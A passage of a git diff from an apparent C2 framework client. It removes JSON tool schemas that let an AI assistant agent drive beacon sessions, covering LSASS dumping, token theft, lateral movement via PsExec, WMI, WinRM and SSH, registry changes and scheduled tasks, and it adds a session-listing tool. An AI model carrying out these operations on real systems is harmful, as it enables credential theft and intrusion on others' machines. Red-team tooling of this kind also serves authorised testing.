identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "module_to_load": { - "type": "string", - "description": "Module filename or path to load. Ask the operator for the exact release-side module name or path if it is not already known." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "module_to_load" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/ls.json b/C2Client/C2Client/assistant_agent/tools/schemas/ls.json deleted file mode 100644 index dd7b451..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/ls.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "ls", - "description": "List a directory on a beacon host. Omit path to list the current working directory.", - "command_template": "ls {path:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Directory path to list. Leave empty for the current working directory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json b/C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json deleted file mode 100644 index 381cce5..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/makeToken.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "makeToken", - "description": "Create and impersonate a token from explicit credentials.", - "command_template": "makeToken {username:q} {password:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "username": { - "type": "string", - "description": "Username in Username or DOMAIN\\Username form." - }, - "password": { - "type": "string", - "description": "Password for the supplied username." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "username", - "password" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json b/C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json deleted file mode 100644 index c75b9b3..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/miniDump.json +++ /dev/null @@ -1,37 +0,0 @@ -{ - "name": "miniDump", - "description": "Dump LSASS to an XORed file or decrypt an XORed dump locally.", - "command_template": "miniDump {action} {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "MiniDump action.", - "enum": [ - "dump", - "decrypt" - ] - }, - "path": { - "type": "string", - "description": "Output file for dump, or input XORed dump path for decrypt." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json b/C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json deleted file mode 100644 index e90cf58..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/mkDir.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "mkDir", - "description": "Create a directory on the beacon host.", - "command_template": "mkDir {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Directory path to create." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/netstat.json b/C2Client/C2Client/assistant_agent/tools/schemas/netstat.json deleted file mode 100644 index 6647f92..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/netstat.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "netstat", - "description": "Show active network connections from the beacon host.", - "command_template": "netstat", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/powershell.json b/C2Client/C2Client/assistant_agent/tools/schemas/powershell.json deleted file mode 100644 index 8a51e0a..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/powershell.json +++ /dev/null @@ -1,43 +0,0 @@ -{ - "name": "powershell", - "description": "Run a PowerShell command, import a script with -i, or execute a script with -s.", - "command_template": "powershell {mode?} {script_path:q?} {command:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "mode": { - "type": "string", - "description": "Optional file mode: -i to import a PowerShell script as a module, or -s to execute a script file.", - "enum": [ - "-i", - "-s", - "" - ], - "default": "" - }, - "script_path": { - "type": "string", - "description": "Script path required when mode is -i or -s. The module also searches the release Scripts directory.", - "default": "" - }, - "command": { - "type": "string", - "description": "PowerShell command text for direct execution.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json deleted file mode 100644 index 19e0145..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/psExec.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "psExec", - "description": "Copy and run a TeamServer-managed service executable on a remote host via PsExec.", - "command_template": "psExec {auth_mode} {username:q?} {password:q?} {target:q} {service_artifact:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "auth_mode": { - "type": "string", - "description": "Authentication mode accepted by init(): -u explicit credentials, -k Kerberos/current ticket, or -n no password/current token.", - "enum": [ - "-u", - "-k", - "-n" - ] - }, - "username": { - "type": "string", - "description": "DOMAIN\\Username for -u mode.", - "default": "" - }, - "password": { - "type": "string", - "description": "Password for -u mode.", - "default": "" - }, - "target": { - "type": "string", - "description": "Target host name or IP." - }, - "service_artifact": { - "type": "string", - "description": "Service executable artifact name or id. The TeamServer resolves Tools first, then UploadedArtifacts." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "auth_mode", - "target", - "service_artifact" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json b/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json deleted file mode 100644 index ce4c5f4..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/pwSh.json +++ /dev/null @@ -1,44 +0,0 @@ -{ - "name": "pwSh", - "description": "Initialize or use the in-memory PowerShell runner. Init loads the fixed Tools/Any/any/rdm.dll tool artifact.", - "command_template": "pwSh {action} {command_or_script:raw?} {arguments:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "action": { - "type": "string", - "description": "PwSh action accepted by init().", - "enum": [ - "init", - "run", - "import", - "script" - ] - }, - "command_or_script": { - "type": "string", - "description": "PowerShell command text for run, or script artifact name/id for import or script.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional PowerShell command tail.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "action" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/pwd.json b/C2Client/C2Client/assistant_agent/tools/schemas/pwd.json deleted file mode 100644 index 801ad10..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/pwd.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "pwd", - "description": "Return the beacon current working directory.", - "command_template": "pwd", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/registry.json b/C2Client/C2Client/assistant_agent/tools/schemas/registry.json deleted file mode 100644 index b4f5089..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/registry.json +++ /dev/null @@ -1,77 +0,0 @@ -{ - "name": "registry", - "description": "Manipulate local or remote Windows registry keys.", - "command_template": "registry {operation} [-s {server:q}] -h {root_key:q} -k {sub_key:q} [-n {value_name:q}] [-d {value_data:q}] [-t {value_type}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "operation": { - "type": "string", - "description": "Registry operation accepted by init().", - "enum": [ - "set", - "deleteValue", - "delete", - "delvalue", - "query", - "get", - "createKey", - "create", - "deleteKey", - "delkey" - ] - }, - "server": { - "type": "string", - "description": "Optional remote host passed with -s.", - "default": "" - }, - "root_key": { - "type": "string", - "description": "Root hive passed with -h, for example HKLM, HKCU, HKU, HKCR, or HKCC." - }, - "sub_key": { - "type": "string", - "description": "Subkey path passed with -k." - }, - "value_name": { - "type": "string", - "description": "Value name passed with -n. Required for set, query/get, and deleteValue/delete/delvalue.", - "default": "" - }, - "value_data": { - "type": "string", - "description": "Value data passed with -d for set.", - "default": "" - }, - "value_type": { - "type": "string", - "description": "Registry value type passed with -t. Defaults to REG_SZ in the module.", - "enum": [ - "REG_SZ", - "REG_DWORD", - "REG_QWORD", - "REG_EXPAND_SZ", - "" - ], - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "operation", - "root_key", - "sub_key" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/remove.json b/C2Client/C2Client/assistant_agent/tools/schemas/remove.json deleted file mode 100644 index e97ae1d..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/remove.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "remove", - "description": "Delete a file or directory recursively on the beacon host.", - "command_template": "remove {path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Path to remove." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json b/C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json deleted file mode 100644 index f5b0259..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/rev2self.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "rev2self", - "description": "Return the beacon to its original token context.", - "command_template": "rev2self", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json b/C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json deleted file mode 100644 index 6ae6fb8..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/reversePortForward.json +++ /dev/null @@ -1,42 +0,0 @@ -{ - "name": "reversePortForward", - "description": "Start a reverse port forward from the beacon to a local service.", - "command_template": "reversePortForward {remote_port} {local_host:q} {local_port}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "remote_port": { - "type": "integer", - "description": "Port to listen on remotely.", - "minimum": 1, - "maximum": 65535 - }, - "local_host": { - "type": "string", - "description": "Local host reachable from the teamserver side to forward traffic to." - }, - "local_port": { - "type": "integer", - "description": "Local port to forward traffic to.", - "minimum": 1, - "maximum": 65535 - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "remote_port", - "local_host", - "local_port" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/run.json b/C2Client/C2Client/assistant_agent/tools/schemas/run.json deleted file mode 100644 index b0f5e6e..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/run.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "run", - "description": "Execute a system command on the beacon host and return stdout/stderr.", - "command_template": "run {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "command": { - "type": "string", - "description": "Command line to execute." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json b/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json deleted file mode 100644 index 12f26c7..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/screenShot.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "screenShot", - "description": "Capture a screenshot from the beacon host and store it as a generated PNG TeamServer artifact.", - "command_template": "screenShot {artifact_name:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "artifact_name": { - "type": "string", - "description": "Optional generated PNG artifact filename hint. Omit the extension or use .png.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/script.json b/C2Client/C2Client/assistant_agent/tools/schemas/script.json deleted file mode 100644 index 3f06e30..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/script.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "script", - "description": "Upload and execute a local script file on the beacon host.", - "command_template": "script {script_path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "script_path": { - "type": "string", - "description": "Local script file path read by the TeamServer side before sending." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "script_path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/shell.json b/C2Client/C2Client/assistant_agent/tools/schemas/shell.json deleted file mode 100644 index ab8d711..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/shell.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "shell", - "description": "Start or use the persistent interactive shell.", - "command_template": "shell {command:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "command": { - "type": "string", - "description": "Optional shell command. Leave empty to start the shell; use exit to stop it.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json b/C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json deleted file mode 100644 index 987975a..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/spawnAs.json +++ /dev/null @@ -1,67 +0,0 @@ -{ - "name": "spawnAs", - "description": "Spawn a command under explicit credentials.", - "command_template": "spawnAs [-d {domain:q}] [-l {logon_type}] [-p {load_profile:flag}] [-w {show_window:flag}] [--netonly {net_only:flag}] {username:q} {password:q} -- {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "username": { - "type": "string", - "description": "Username in Username, DOMAIN\\Username, or user@domain form." - }, - "password": { - "type": "string", - "description": "Password for the supplied user." - }, - "command": { - "type": "string", - "description": "Program and arguments to launch after the -- separator." - }, - "domain": { - "type": "string", - "description": "Optional domain override passed with -d.", - "default": "" - }, - "logon_type": { - "type": "integer", - "description": "Optional Windows logon type passed with -l. Supported by init(): 2 interactive or 9 new credentials.", - "enum": [ - 2, - 9 - ], - "default": 2 - }, - "load_profile": { - "type": "boolean", - "description": "Include -p/--with-profile to load the user profile.", - "default": false - }, - "show_window": { - "type": "boolean", - "description": "Include -w/--show-window.", - "default": false - }, - "net_only": { - "type": "boolean", - "description": "Include --netonly for LOGON32_LOGON_NEW_CREDENTIALS.", - "default": false - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "username", - "password", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json deleted file mode 100644 index ed02271..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/sshExec.json +++ /dev/null @@ -1,50 +0,0 @@ -{ - "name": "sshExec", - "description": "Execute a command over SSH.", - "command_template": "sshExec -h {host:q} [-P {port}] -u {username:q} -p {password:q} -- {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "host": { - "type": "string", - "description": "SSH host name or IP." - }, - "port": { - "type": "integer", - "description": "SSH port. Defaults to 22 in the module.", - "minimum": 1, - "maximum": 65535, - "default": 22 - }, - "username": { - "type": "string", - "description": "SSH username." - }, - "password": { - "type": "string", - "description": "SSH password." - }, - "command": { - "type": "string", - "description": "Remote command tail passed after --." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "host", - "username", - "password", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json b/C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json deleted file mode 100644 index 944e56f..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/stealToken.json +++ /dev/null @@ -1,29 +0,0 @@ -{ - "name": "stealToken", - "description": "Steal and impersonate a token from a process id.", - "command_template": "stealToken {pid}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "pid": { - "type": "integer", - "description": "Process id whose token should be impersonated.", - "minimum": 0 - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "pid" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json b/C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json deleted file mode 100644 index 1587301..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/taskScheduler.json +++ /dev/null @@ -1,63 +0,0 @@ -{ - "name": "taskScheduler", - "description": "Create and optionally run a scheduled task on a local or remote Windows host.", - "command_template": "taskScheduler -c {command:q} [-s {server:q}] [-t {task_name:q}] [-a {arguments:q}] [-u {username:q}] [-p {password:q}] [--no-run {skip_run:flag}] [--nocleanup {keep_task:flag}]", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "command": { - "type": "string", - "description": "Executable or command to run in the scheduled task." - }, - "server": { - "type": "string", - "description": "Optional target host passed with -s. Omit for localhost.", - "default": "" - }, - "task_name": { - "type": "string", - "description": "Optional task name passed with -t. The module chooses a random name if omitted.", - "default": "" - }, - "arguments": { - "type": "string", - "description": "Optional command arguments passed with -a.", - "default": "" - }, - "username": { - "type": "string", - "description": "Optional DOMAIN\\user for task registration passed with -u.", - "default": "" - }, - "password": { - "type": "string", - "description": "Optional password passed with -p.", - "default": "" - }, - "skip_run": { - "type": "boolean", - "description": "Include --no-run to register the task without running it.", - "default": false - }, - "keep_task": { - "type": "boolean", - "description": "Include --nocleanup to keep the task after it starts.", - "default": false - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/tree.json b/C2Client/C2Client/assistant_agent/tools/schemas/tree.json deleted file mode 100644 index 8e5f433..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/tree.json +++ /dev/null @@ -1,28 +0,0 @@ -{ - "name": "tree", - "description": "Recursively list a directory tree on a beacon host. Omit path for the current working directory.", - "command_template": "tree {path:q?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "path": { - "type": "string", - "description": "Directory root to inspect. Leave empty for the current working directory.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/upload.json b/C2Client/C2Client/assistant_agent/tools/schemas/upload.json deleted file mode 100644 index 2c7ef49..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/upload.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "name": "upload", - "description": "Upload a local file from the operator machine to a beacon host.", - "command_template": "upload {local_path:q} {remote_path:q}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "local_path": { - "type": "string", - "description": "Path on the operator machine." - }, - "remote_path": { - "type": "string", - "description": "Destination path on the beacon host." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "local_path", - "remote_path" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/whoami.json b/C2Client/C2Client/assistant_agent/tools/schemas/whoami.json deleted file mode 100644 index 7bbf44c..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/whoami.json +++ /dev/null @@ -1,23 +0,0 @@ -{ - "name": "whoami", - "description": "Print the current beacon user context and group membership.", - "command_template": "whoami", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - } - }, - "required": [ - "beacon_hash", - "listener_hash" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/winRm.json b/C2Client/C2Client/assistant_agent/tools/schemas/winRm.json deleted file mode 100644 index f0a4ff5..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/winRm.json +++ /dev/null @@ -1,53 +0,0 @@ -{ - "name": "winRm", - "description": "Execute a command through WinRM.", - "command_template": "winRm {auth_mode} {username:q?} {password:q?} {target:q} {command:raw?}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "auth_mode": { - "type": "string", - "description": "Authentication mode accepted by init(): -u explicit credentials, -k Kerberos/current ticket, or -n no password/current token.", - "enum": [ - "-u", - "-k", - "-n" - ] - }, - "username": { - "type": "string", - "description": "DOMAIN\\Username for -u mode.", - "default": "" - }, - "password": { - "type": "string", - "description": "Password for -u mode.", - "default": "" - }, - "target": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Optional remote command tail.", - "default": "" - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "auth_mode", - "target" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json b/C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json deleted file mode 100644 index 4e2347c..0000000 --- a/C2Client/C2Client/assistant_agent/tools/schemas/wmiExec.json +++ /dev/null @@ -1,58 +0,0 @@ -{ - "name": "wmiExec", - "description": "Execute a command through WMI.", - "command_template": "wmiExec {auth_mode} {username:q?} {password:q?} {dc:q?} {target:q} {command:raw}", - "parameters": { - "type": "object", - "properties": { - "beacon_hash": { - "type": "string", - "description": "Full beacon hash identifying the session that should execute the command." - }, - "listener_hash": { - "type": "string", - "description": "Full listener hash for the target beacon session." - }, - "auth_mode": { - "type": "string", - "description": "Authentication mode accepted by init(): -u explicit credentials, -k Kerberos using a DC, or -n no password/current token.", - "enum": [ - "-u", - "-k", - "-n" - ] - }, - "username": { - "type": "string", - "description": "DOMAIN\\Username for -u mode.", - "default": "" - }, - "password": { - "type": "string", - "description": "Password for -u mode.", - "default": "" - }, - "dc": { - "type": "string", - "description": "Domain controller or DOMAIN\\dc value for -k mode.", - "default": "" - }, - "target": { - "type": "string", - "description": "Target host name or IP." - }, - "command": { - "type": "string", - "description": "Remote command tail." - } - }, - "required": [ - "beacon_hash", - "listener_hash", - "auth_mode", - "target", - "command" - ], - "additionalProperties": false - } -} diff --git a/C2Client/C2Client/assistant_agent/tools/session_state_tool.py b/C2Client/C2Client/assistant_agent/tools/session_state_tool.py new file mode 100644 index 0000000..d8247cf --- /dev/null +++ b/C2Client/C2Client/assistant_agent/tools/session_state_tool.py @@ -0,0 +1,104 @@ +from __future__ import annotations + +from dataclasses import dataclass +from typing import Any + +from agent_core.execution_context import ExecutionContext +from agent_core.llm.base import LLMToolDefinition +from agent_core.tools import build_tool_definition +from agent_core.types import ToolResult + + +@dataclass(slots=True) +class C2LiveSessionsTool: + grpc_client: Any + + name = "listLiveSessions" + description = "List live C2 sessions known by the TeamServer, with full beacon and listener hashes." + + def schema(self) -> LLMToolDefinition: + return build_tool_definition( + name=self.name, + description=self.description, + parameters={ + "type": "object", + "properties": { + "beacon_prefix": { + "type": "string", + "description": "Optional beacon hash prefix to resolve an operator short reference.", + }, + "include_killed": { + "type": "boolean", + "description": "Include killed sessions in the result.", + }, + }, + "additionalProperties": False, + }, + ) + + def execute(self, arguments: dict, context: ExecutionContext) -> ToolResult: + sessions = list_sessions( + self.grpc_client, + beacon_prefix=arguments.get("beacon_prefix", ""), + include_killed=bool(arguments.get("include_killed", False)), + ) + return ToolResult(ok=True, content=format_sessions(sessions)) + + +def list_sessions( + grpc_client: Any, + *, + beacon_prefix: str = "", + include_killed: bool = False, +) -> list[Any]: + if grpc_client is None or not hasattr(grpc_client, "listSessions"): + return [] + + prefix = str(beacon_prefix or "").strip() + sessions = [] + for session in grpc_client.listSessions(): + beacon_hash = str(getattr(session, "beacon_hash", "") or "") + killed = _is_truthy(getattr(session, "killed", False)) + if killed and not include_killed: + continue + if prefix and not beacon_hash.startswith(prefix): + continue + sessions.append(session) + return sessions + + +def format_sessions(sessions: list[Any]) -> str: + rows = [] + for session in sessions: + beacon_hash = str(getattr(session, "beacon_hash", "") or "").strip() + listener_hash = str(getattr(session, "listener_hash", "") or "").strip() + if not beacon_hash: + continue + rows.append( + { + "short": beacon_hash[:8], + "beacon": beacon_hash, + "listener": listener_hash, + "host": str(getattr(session, "hostname", "") or "").strip() or "-", + "user": str(getattr(session, "username", "") or "").strip() or "-", + "arch": str(getattr(session, "arch", "") or "").strip() or "-", + "os": str(getattr(session, "os", "") or "").strip() or "-", + "state": "killed" if _is_truthy(getattr(session, "killed", False)) else "live", + } + ) + + if not rows: + return "No matching live sessions." + + lines = ["short state beacon_hash listener_hash host user arch os"] + for row in rows: + lines.append( + "{short:<8} {state:<6} {beacon:<32} {listener:<32} {host} {user} {arch} {os}".format(**row) + ) + return "\n".join(lines) + + +def _is_truthy(value: Any) -> bool: + if isinstance(value, str): + return value.strip().lower() in {"1", "true", "yes", "y", "killed", "dead", "stop", "stopped"} + return bool(value) diff --git a/C2Client/TODO.md b/C2Client/TODO.md index 89042ba..cc2498d 100644 --- a/C2Client/TODO.md +++ b/C2Client/TODO.md @@ -24,10 +24,10 @@ Objectif: rendre le client plus agreable pour un operateur, puis enrichir propre | 16 | [x] | Reduire la taille des artefacts `screenShot` | M | Moyen | Fait cote code. Format unique PNG: le module Windows encode en PNG via GDI+ avant chunking, le TeamServer force `format=png`, ajoute `.png` si l'extension est omise et rejette les autres extensions. Specs, tests et catalogue mis a jour. Validation reelle Windows a refaire pour mesurer le gain exact. | | 17 | [x] | Remplacer l'autocomplete Terminal `QCompleter` | M | Fort | Fait. `QCompleter` supprime cote client; Terminal, consoles beacon, Hooks et Assistant utilisent `CompletionInput`, une liste integree au layout avec Tab, Shift+Tab, fleches, Enter et clic. Les placeholders dynamiques console (``, ``) restent geres proprement. | | 18 | [x] | Auditer `libSocks5` | M | Fort | Fait. Audit documente dans `docs/socks5-audit.md`; durcissement du handshake IPv4-only, erreurs SOCKS explicites (`0x07`, `0x08`), timeout de handshake, port de reply en network order, logs bruyants retires, flags atomiques et tests protocole auto `TestsSocksServer`. Hostname/IPv6 restent dans l'item 24. | -| 19 | [ ] | Generer des formulaires de commandes depuis les schemas assistant | L | Fort | Utiliser `assistant_agent/tools/schemas/*.json` pour proposer des commandes guidees sans tout taper a la main. | -| 20 | [ ] | Ajouter `GetServerInfo` / `GetCapabilities` au proto | L | Fort | Version serveur, modules charges, features, chemins runtime, limites max message, auth mode. Premier vrai changement client-server. 